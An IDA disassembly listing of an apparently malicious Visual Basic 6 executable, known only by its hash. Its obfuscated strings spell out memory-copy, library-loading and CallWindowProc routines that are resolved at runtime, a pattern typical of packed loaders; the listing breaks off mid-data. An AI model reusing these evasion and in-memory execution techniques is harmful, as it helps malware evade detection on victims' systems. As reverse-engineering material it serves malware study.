;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	041B82A1AEF42FBBB382F86415D919D4

; File Name   :	u:\work\041b82a1aef42fbbb382f86415d919d4_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000E934 (  59700.)
; Section size in file		: 0000F000 (  61440.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
;
; Imports from MSVBVM60.DLL
;

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Externs
; _idata
		extrn __imp___vbaVarSub:dword ;	DATA XREF: __vbaVarSubr
		extrn _CIcos:dword	; DATA XREF: .text:004013F6r
		extrn _adj_fptan:dword	; DATA XREF: .text:004013EAr
		extrn __imp___vbaVarMove:dword ; DATA XREF: __vbaVarMover
		extrn __imp___vbaFreeVar:dword ; DATA XREF: __vbaFreeVarr
		extrn __imp___vbaAryMove:dword ; DATA XREF: __vbaAryMover
		extrn __imp___vbaLenBstr:dword ; DATA XREF: __vbaLenBstrr
		extrn __imp___vbaStrVarMove:dword ; DATA XREF: __vbaStrVarMover
		extrn __imp___vbaFreeVarList:dword ; DATA XREF:	__vbaFreeVarListr
		extrn __imp__adj_fdiv_m64:dword	; DATA XREF: _adj_fdiv_m64r
		extrn __imp_rtcAnsiValueBstr:dword ; DATA XREF:	rtcAnsiValueBstrr
		extrn _adj_fprem1:dword	; DATA XREF: .text:004013E4r
		extrn __imp___vbaRecAnsiToUni:dword ; DATA XREF: __vbaRecAnsiToUnir
		extrn __imp___vbaStrCat:dword ;	DATA XREF: __vbaStrCatr
		extrn __imp___vbaSetSystemError:dword ;	DATA XREF: __vbaSetSystemErrorr
		extrn __imp___vbaRecDestruct:dword ; DATA XREF:	__vbaRecDestructr
		extrn __imp___vbaVargVarCopy:dword ; DATA XREF:	__vbaVargVarCopyr
		extrn _adj_fdiv_m32:dword ; DATA XREF: .text:004013A8r
		extrn __imp___vbaAryVar:dword ;	DATA XREF: __vbaAryVarr
		extrn __imp___vbaAryDestruct:dword ; DATA XREF:	__vbaAryDestructr
		extrn __imp___vbaOnError:dword ; DATA XREF: __vbaOnErrorr
		extrn _adj_fdiv_m16i:dword ; DATA XREF:	.text:004013A2r
		extrn _adj_fdivr_m16i:dword ; DATA XREF: .text:004013C0r
		extrn _CIsin:dword	; DATA XREF: .text:00401408r
		extrn __imp_rtcMidCharBstr:dword ; DATA	XREF: rtcMidCharBstrr
		extrn __imp___vbaErase:dword ; DATA XREF: __vbaEraser
		extrn __imp_rtcMidCharVar:dword	; DATA XREF: rtcMidCharVarr
		extrn __imp___vbaVarZero:dword ; DATA XREF: __vbaVarZeror
		extrn __imp___vbaChkstk:dword ;	DATA XREF: __vbaChkstkr
		extrn __imp_rtcSpaceVar:dword ;	DATA XREF: rtcSpaceVarr
		extrn __imp___vbaFileClose:dword ; DATA	XREF: __vbaFileCloser
		extrn __imp___vbaGenerateBoundsError:dword
					; DATA XREF: __vbaGenerateBoundsErrorr
		extrn __imp___vbaStrCmp:dword ;	DATA XREF: __vbaStrCmpr
		extrn __imp___vbaAryConstruct2:dword ; DATA XREF: __vbaAryConstruct2r
		extrn __imp___vbaPutOwner3:dword ; DATA	XREF: __vbaPutOwner3r
		extrn __imp_rtcIsNumeric:dword ; DATA XREF: rtcIsNumericr
		extrn __imp___vbaI2I4:dword ; DATA XREF: __vbaI2I4r
		extrn __imp_DllFunctionCall:dword ; DATA XREF: DllFunctionCallr
		extrn __imp_rtcVarType:dword ; DATA XREF: rtcVarTyper
		extrn __imp___vbaLbound:dword ;	DATA XREF: __vbaLboundr
		extrn __imp___vbaRedimPreserve:dword ; DATA XREF: __vbaRedimPreserver
		extrn _adj_fpatan:dword	; DATA XREF: .text:004013D8r
		extrn __imp___vbaFixstrConstruct:dword ; DATA XREF: __vbaFixstrConstructr
		extrn __imp___vbaRedim:dword ; DATA XREF: __vbaRedimr
		extrn __imp___vbaRecUniToAnsi:dword ; DATA XREF: __vbaRecUniToAnsir
		extrn __imp___vbaUI1I2:dword ; DATA XREF: __vbaUI1I2r
		extrn _CIsqrt:dword	; DATA XREF: .text:0040140Er
		extrn __imp___vbaExceptHandler:dword ; DATA XREF: __vbaExceptHandlerr
		extrn __imp___vbaStrToUnicode:dword ; DATA XREF: __vbaStrToUnicoder
		extrn _adj_fprem:dword	; DATA XREF: .text:004013DEr
		extrn _adj_fdivr_m64:dword ; DATA XREF:	.text:004013D2r
		extrn __imp_rtcVarBstrFromAnsi:dword ; DATA XREF: rtcVarBstrFromAnsir
		extrn __vbaFPException:dword ; DATA XREF: sub_40D806:loc_40139Cr
		extrn __imp_rtcStrConvVar2:dword ; DATA	XREF: rtcStrConvVar2r
		extrn __imp___vbaInStrVar:dword	; DATA XREF: __vbaInStrVarr
		extrn __imp___vbaUbound:dword ;	DATA XREF: __vbaUboundr
		extrn __vbaGetOwner3:dword ; DATA XREF:	.text:00401462r
		extrn __imp___vbaVarCat:dword ;	DATA XREF: __vbaVarCatr
		extrn __imp_VarPtr:dword ; DATA	XREF: VarPtrr
		extrn _CIlog:dword	; DATA XREF: .text:00401402r
		extrn __imp___vbaErrorOverflow:dword ; DATA XREF: __vbaErrorOverflowr
		extrn __imp___vbaFileOpen:dword	; DATA XREF: __vbaFileOpenr
		extrn __imp___vbaVar2Vec:dword ; DATA XREF: __vbaVar2Vecr
		extrn __imp_rtcFreeFile:dword ;	DATA XREF: rtcFreeFiler
		extrn rtcFileLength:dword ; DATA XREF: .text:00401468r
		extrn _adj_fdiv_m32i:dword ; DATA XREF:	.text:004013AEr
		extrn _adj_fdivr_m32i:dword ; DATA XREF: .text:004013CCr
		extrn __imp___vbaStrCopy:dword ; DATA XREF: __vbaStrCopyr
		extrn __imp___vbaI4Str:dword ; DATA XREF: __vbaI4Strr
		extrn __imp_rtcImmediateIf:dword ; DATA	XREF: rtcImmediateIfr
		extrn __imp___vbaFreeStrList:dword ; DATA XREF:	__vbaFreeStrListr
		extrn __imp___vbaDerefAry1:dword ; DATA	XREF: __vbaDerefAry1r
		extrn _adj_fdivr_m32:dword ; DATA XREF:	.text:004013C6r
		extrn _adj_fdiv_r:dword	; DATA XREF: .text:004013BAr
		extrn __imp_ThunRTMain:dword ; DATA XREF: ThunRTMainr
		extrn __imp___vbaI4Var:dword ; DATA XREF: __vbaI4Varr
		extrn __imp___vbaVarCmpEq:dword	; DATA XREF: __vbaVarCmpEqr
		extrn __imp___vbaAryLock:dword ; DATA XREF: __vbaAryLockr
		extrn __imp___vbaStrToAnsi:dword ; DATA	XREF: __vbaStrToAnsir
		extrn __imp___vbaVarDup:dword ;	DATA XREF: __vbaVarDupr
		extrn __imp___vbaAryVarVarg:dword ; DATA XREF: __vbaAryVarVargr
		extrn __imp___vbaFpI4:dword ; DATA XREF: __vbaFpI4r
		extrn __imp___vbaVarCopy:dword ; DATA XREF: __vbaVarCopyr
		extrn __imp_rtcLeftCharVar:dword ; DATA	XREF: rtcLeftCharVarr
		extrn _CIatan:dword	; DATA XREF: .text:004013F0r
		extrn __imp___vbaAryCopy:dword ; DATA XREF: __vbaAryCopyr
		extrn __imp___vbaStrMove:dword ; DATA XREF: __vbaStrMover
		extrn __imp___vbaStrVarCopy:dword ; DATA XREF: __vbaStrVarCopyr
		extrn __imp_rtcRightCharVar:dword ; DATA XREF: rtcRightCharVarr
		extrn _allmul:dword	; DATA XREF: .text:0040141Ar
		extrn _CItan:dword	; DATA XREF: .text:00401414r
		extrn __imp___vbaAryUnlock:dword ; DATA	XREF: __vbaAryUnlockr
		extrn _CIexp:dword	; DATA XREF: .text:004013FCr
		extrn __imp___vbaFreeStr:dword ; DATA XREF: __vbaFreeStrr
		extrn __imp___vbaI4ErrVar:dword	; DATA XREF: __vbaI4ErrVarr

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 40117Ch
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4A3C7F3Eh, 0
		dd 2, 26h, 0
		dd 31000h, 0
dword_4011A0	dd 40006h, 0			dd offset loc_408E38
		dd offset loc_408E2F
		dd 0C0006h, 0		; DATA XREF: sub_408E65+25o
		dd offset loc_409349
		dd offset loc_40930D
		dd 40006h, 0		; DATA XREF: sub_409384+21o
		dd offset loc_4095CC
		dd offset loc_4095C2
dword_4011D0	dd 40006h, 0			dd offset loc_40969B
		dd offset loc_409691
		dd 40002h, 0		; DATA XREF: sub_4096BA+21o
		dd offset loc_40974B
		align 10h
dword_4011F0	dd 40006h, 0			dd offset loc_40C08D
		dd offset loc_40C017
dword_401200	dd 140026h, 0			dd offset loc_40C713
		dd offset loc_40C6F4
		dd 0
		dd offset dword_401218
dword_401218	dd 22h,	40C13Ch, 40C143h, 40C151h, 40C187h, 40C1D0h, 40C219h
					; DATA XREF: .text:00401214o
		dd 40C262h, 40C2A4h, 40C2B8h, 40C2C5h, 2 dup(40C2EFh)
		dd 40C334h, 40C3A3h, 40C3EFh, 40C43Bh, 40C48Eh,	40C4A2h
		dd 40C4B6h, 40C4D0h, 40C514h, 40C533h, 40C535h,	2 dup(40C55Fh)
		dd 40C5C3h, 2 dup(40C613h), 40C61Fh, 40C664h, 40C6DFh
		dd 2 dup(40C6E1h), 40C6EDh, 0
dword_4012A8	dd 40006h, 0			dd offset loc_40C9E5
		dd offset loc_40C9A7
		dd 8000Eh, 0		; DATA XREF: sub_40CA0D+25o
		dd offset loc_40CCC7
		dd offset loc_40CC7B
		dd 8000Eh, 0		; DATA XREF: sub_40CCED+25o
		dd offset loc_40D172
		dd offset loc_40D10E
dword_4012D8	dd 40006h, 0			dd offset loc_40D234
		dd offset loc_40D22B
		dd 8000Eh, 0		; DATA XREF: sub_40D252+25o
		dd offset loc_40D57C
		dd offset loc_40D518
		dd 8000Ch, 2 dup(0)	; DATA XREF: sub_40D5AE+25o
		dd offset loc_40D794
dbl_401308	dq 2.0			; DATA XREF: sub_40D806+80r
					; sub_40D806+8Er ...
dword_401310	dd 8000Eh, 0			dd offset loc_40DA58
		dd offset loc_40DA28
		dd 8000Eh, 0		; DATA XREF: sub_40DA8A+22o
		dd offset loc_40DB8A
		dd offset loc_40DB56
dword_401330	dd 40004h, 2 dup(0)		dd offset loc_40DFF5
dword_401340	dd 8000Ch, 2 dup(0)		dd offset loc_40E168
		dd 40002h, 0		; DATA XREF: sub_40E194+21o
		dd offset loc_40E253
		align 10h
dword_401360	dd 4000Ah, 0			dd offset loc_40E2FA
		dd offset loc_40E2F1
dword_401370	dd 8000Eh, 0			dd offset loc_40ECB3
		dd offset loc_40EC57
		dd 8000Eh, 0		; DATA XREF: .text:0040ED05o
		dd offset loc_40F216
		dd offset loc_40F1B9
; [00000006 BYTES: COLLAPSED FUNCTION __vbaChkstk. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaExceptHandler. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D806


loc_40139C:				; CODE XREF: sub_40D806:loc_40DA80j
		jmp	ds:__vbaFPException
; END OF FUNCTION CHUNK	FOR sub_40D806
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdiv_m16i
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdiv_m32
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdiv_m32i
; [00000006 BYTES: COLLAPSED FUNCTION _adj_fdiv_m64. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdiv_r
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdivr_m16i
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdivr_m32
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdivr_m32i
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fdivr_m64
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fpatan
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fprem
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fprem1
; ---------------------------------------------------------------------------
		jmp	ds:_adj_fptan
; ---------------------------------------------------------------------------
		jmp	ds:_CIatan
; ---------------------------------------------------------------------------
		jmp	ds:_CIcos
; ---------------------------------------------------------------------------
		jmp	ds:_CIexp
; ---------------------------------------------------------------------------
		jmp	ds:_CIlog
; ---------------------------------------------------------------------------
		jmp	ds:_CIsin
; ---------------------------------------------------------------------------
		jmp	ds:_CIsqrt
; ---------------------------------------------------------------------------
		jmp	ds:_CItan
; ---------------------------------------------------------------------------
		jmp	ds:_allmul
; [00000006 BYTES: COLLAPSED FUNCTION DllFunctionCall. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVarCmpEq. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVarDup. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcImmediateIf. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcRightCharVar. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaPutOwner3. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaInStrVar. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVarSub. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaI4Var. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcLeftCharVar. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFileClose. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	ds:__vbaGetOwner3
; ---------------------------------------------------------------------------
		jmp	ds:rtcFileLength
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFileOpen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcFreeFile. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVarCopy. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrVarMove. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrCat. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaLenBstr. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaI4Str. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaRecDestruct.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaRecAnsiToUni. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaRecUniToAnsi. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVarZero. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION VarPtr. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrCmp. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFreeStrList.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaErase. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrMove. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrCopy. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaGenerateBoundsError.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryConstruct2. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaUI1I2. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaI4ErrVar. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrToUnicode. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaSetSystemError. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrToAnsi. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVarMove. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFreeVarList.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcVarBstrFromAnsi. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcStrConvVar2. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVarCat. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVar2Vec. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryMove. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaRedimPreserve. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryUnlock. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryLock. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcVarType. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaI2I4. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaOnError. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaRedim. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaErrorOverflow. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFreeStr. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryDestruct.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaDerefAry1. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaVargVarCopy.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaLbound. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaUbound. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFreeVar. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryVarVarg. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryVar. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaAryCopy. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFixstrConstruct. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcSpaceVar. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcIsNumeric. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaStrVarCopy. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcMidCharBstr. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcAnsiValueBstr.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION rtcMidCharVar. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __vbaFpI4. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION ThunRTMain. PRESS	KEYPAD "+" TO EXPAND]
		align 4

		public start
start:
		push	offset dword_4016C0
		call	ThunRTMain
; ---------------------------------------------------------------------------
		dw 0
		dd 0
		dd 30h,	40h, 0
		dd 6D3A3FABh, 450174F0h, 0F278AC93h, 0AC993FD1h, 0
		dd 10000h, 6F540000h, 65646F43h, 786D5A66h, 4C535756h
		dd 525552h, 200A0D29h, 0
dword_40161C	dd 7, 401CB8h, 7, 401C70h, 7, 401C1Ch, 7, 401BD4h, 10001h
					; DATA XREF: .text:00401990o
		dd 401998h, 0
		dd 2 dup(0FFFFFFFFh), 0
		dd offset off_401A1C
		dd offset dword_410024
		align 10h
		dd 76AFA0h, 3 dup(0)
		dd offset dword_401674
dword_401674	dd 1, 401998h, 0					; .text:off_4019ECo
		dd 2 dup(0FFFFFFFFh), 0
		dd offset off_4019EC
		dd offset dword_410008
		dd 4, 4016B0h, 200001h,	0
		dd 79A0DCh, 4016ACh, 401AD4h, 6C0061h, 54005Ch,	6D0065h
		dd 5C0070h
dword_4016C0	dd 21354256h, 2A1FF0h, 3 dup(0)		dd 7Eh,	2 dup(0)
		dd 0A0000h, 409h, 0
		dd offset loc_40C0FE
		dd offset dword_40175C
		dd 30F000h, 0FFFFFF00h,	8, 1, 0
		dd 0E9h, 2 dup(40161Ch), 4015D8h, 78h, 84h, 8Eh, 8Fh, 4	dup(0)
aKyfbiluyhsj	db 'KYFbILUYhSJ',0
aAohfoeelw	db 'AOhFoEeLW',0
		dw 6600h
aZmxvwslrur	db 'ZmxVWSLRUR',0
		align 4
dword_40175C	dd 1F4h, 401998h, 0		dd offset dword_408D60
		dd offset dword_40F260
		dd 3D4h, 410008h, 401396h, 410000h, 5C002Ah, 430041h, 5C003Ah
		dd 420056h, 41005Ch, 68004Fh, 6F0046h, 650045h,	57004Ch
		dd 76002Eh, 700062h, 79h dup(0)
		dd offset dword_40161C
dword_401994	dd 4, 0				dd offset dword_4100B4
		dd offset dword_408D2C
		dd 0FFFFFFFFh, 0
		dd offset dword_4100A4
		dd 0F91C442Eh, 43605B0Eh, 27AB8C82h, 0C00190h, 2000Ah
		dd 20002h, 4019ECh, 3 dup(0)
		dd offset aFzmxvwslrur	; "fZmxVWSLRUR"
		dd 2 dup(409h),	0
		dd 2
off_4019EC	dd offset dword_401674	; DATA XREF: .text:0040168Co
		dd 0FFFFFFFFh, 401CECh,	0
		dd offset dword_410010
		dd 0
		dd offset aYbxryinpewcmke ; "yBxRYinPEWCMke"
		dd 15h,	0
		dd 0FFFFh, 18001h, 0
off_401A1C	dd offset dword_40161C+20h ; DATA XREF:	.text:00401654o
		dd 0FFFFFFFFh, 401D8Ch,	408D08h, 41002Ch, 4100A0h, 401A5Ch
		dd 0Ch,	0
		dd 6Ch,	18001h,	0
aYbxryinpewcmke	db 'yBxRYinPEWCMke',0   ; DATA XREF: .text:00401A04o
		align 4
aAmcpgtrfezzckg	db 'AMCPgtRfezZCKg',0
		align 4
aFzmxvwslrur	db 'fZmxVWSLRUR',0      ; DATA XREF: .text:004019D8o
		dd 22C0016h, 10000h, 34040128h,	200A0024h, 244265h, 104h
		dd 4280020h, 20000h, 34040224h,	200A0020h, 204265h, 2200100h
		dd 200Ah, 1040120h, 70000Ch, 0
		dd 4040070h, 0CC000Ch, 0
		db 0CCh
		align 2
		dw 404h
		dd 10000Ch, 0
		dd 4040010h
dword_401AD4	dd 440018h, 30000h, 2C040044h, 10004h, 10008h, 1000Ch
					; DATA XREF: sub_4097F2+28E5o
		dd 40000Ch, 0
		dd 4040040h, 14000Ch, 0
		dd 4040014h, 8000Ch, 0
		dd 4040008h, 0E0000Ch, 0
		dd 40400E0h, 0F8000Ch, 0
		dd 40400F8h
a0:					; DATA XREF: sub_4097F2+2015o
		unicode	0, <^0>,0
		db 0Ah,0
		db '(',0
		dw 3404h
		dd 200A0000h, 4265h, 100008h, 4200Bh, 140008h, 4200Bh
		dd 18000Ch, 4200Bh, 1C0010h, 4200Bh, 200014h, 4200Bh, 240018h
		dd 4200Bh, 28001Ch, 2200Bh, 2A0020h, 2200Bh, 2C0022h, 4200Bh
		dd 24h,	0C000Ch, 0
		dd 404000Ch
dword_401B94	dd 40016h, 10000h, 0C040004h, 1050000h,	4265h, 2 dup(0)
					; DATA XREF: sub_408E65+292o
					; sub_408E65+4F0o
		dd 9
aKernel32	db 'kernel32',0         ; DATA XREF: .text:off_401BD4o
					; .text:off_401C1Co ...
		align 10h
dword_401BC0	dd 0Eh,	4D6C7452h, 4D65766Fh, 726F6D65h, 79hoff_401BD4	dd offset aKernel32	; DATA XREF: sub_401BEC:loc_401BF7o
					; "kernel32"
		dd offset dword_401BC0+4
		dd 40000h, 4103ACh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_401BEC	proc near		; CODE XREF: sub_4096BA+53p
					; sub_4097F2+2021p
		mov	eax, dword_4103B4
		or	eax, eax
		jz	short loc_401BF7
		jmp	eax
; ---------------------------------------------------------------------------


loc_401BF7:				; CODE XREF: sub_401BEC+7j
		push	offset off_401BD4
		mov	eax, offset DllFunctionCall
		call	eax ; DllFunctionCall
		jmp	eax
sub_401BEC	endp

; ---------------------------------------------------------------------------
		align 4
dword_401C08	dd 0Dh,	64616F4Ch, 7262694Ch, 41797261h, 0off_401C1C	dd offset aKernel32	; DATA XREF: sub_401C34:loc_401C3Fo
					; "kernel32"
		dd offset dword_401C08+4
		dd 40000h, 4103B8h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_401C34	proc near		; CODE XREF: sub_408E65+C4p
		mov	eax, dword_4103C0
		or	eax, eax
		jz	short loc_401C3F
		jmp	eax
; ---------------------------------------------------------------------------


loc_401C3F:				; CODE XREF: sub_401C34+7j
		push	offset off_401C1C
		mov	eax, offset DllFunctionCall
		call	eax ; DllFunctionCall
		jmp	eax
sub_401C34	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 7
aUser32		db 'user32',0           ; DATA XREF: .text:off_401C70o
		align 4
dword_401C5C	dd 10h,	6C6C6143h, 646E6957h, 7250776Fh, 41636Fh
					; DATA XREF: .text:00401C74o
off_401C70	dd offset aUser32	; DATA XREF: sub_401C88:loc_401C93o
					; "user32"
		dd offset dword_401C5C+4
		dd 40000h, 4103C4h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_401C88	proc near		; CODE XREF: sub_408E65+3CDp
		mov	eax, dword_4103CC
		or	eax, eax
		jz	short loc_401C93
		jmp	eax
; ---------------------------------------------------------------------------


loc_401C93:				; CODE XREF: sub_401C88+7j
		push	offset off_401C70
		mov	eax, offset DllFunctionCall
		call	eax ; DllFunctionCall
		jmp	eax
sub_401C88	endp

; ---------------------------------------------------------------------------
		align 4
dword_401CA4	dd 0Fh,	50746547h, 41636F72h, 65726464h, 7373hoff_401CB8	dd offset aKernel32	; DATA XREF: sub_401CD0:loc_401CDBo
					; "kernel32"
		dd offset dword_401CA4+4
		dd 40000h, 4103D0h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_401CD0	proc near		; CODE XREF: sub_408E65+108p
		mov	eax, dword_4103D8
		or	eax, eax
		jz	short loc_401CDB
		jmp	eax
; ---------------------------------------------------------------------------


loc_401CDB:				; CODE XREF: sub_401CD0+7j
		push	offset off_401CB8
		mov	eax, offset DllFunctionCall
		call	eax ; DllFunctionCall
		jmp	eax
sub_401CD0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 140020h, 20000h, 0
		dd 1050004h, 4265h, 80000h, 40105h, 8, 18h
dword_401D10	dd 920001h, 1, 2 dup(0)		dd 4, 0
		dd 30h
a748b0240d409c7:			; DATA XREF: sub_4097F2+180o
		unicode	0, <748B0240D409C77A9163A0C2>,0
		align 10h
		dd 18h
a66udgwbrev3g:				; DATA XREF: sub_4097F2+170o
		unicode	0, <66UDGwBReV3g>,0
		align 10h
		dd 10000Ch, 0
		dd 4020010h, 740098h, 30003h, 0
		dd 50004h, 14010015h, 8000000h,	4400001h, 920001h, 1, 2	dup(0)
		dd 100h, 0
		dd 20011h, 50028h, 282h, 4400000h, 2C2FFFFh, 920002h, 1
		dd 2 dup(0)
		dd 100h, 0
		dd 100h, 0
		dd 4400011h, 5004Ch, 35Eh, 760000h, 0FFFFFFFFh,	920001h
		dd 1, 2	dup(0)
		dd 100h, 0
		dd 760011h, 34h
a236e6492a77bf3:			; DATA XREF: sub_4097F2+1C0o
		unicode	0, <236E6492A77BF3EE435FA36725>,0
		align 10h
		dd 1Eh
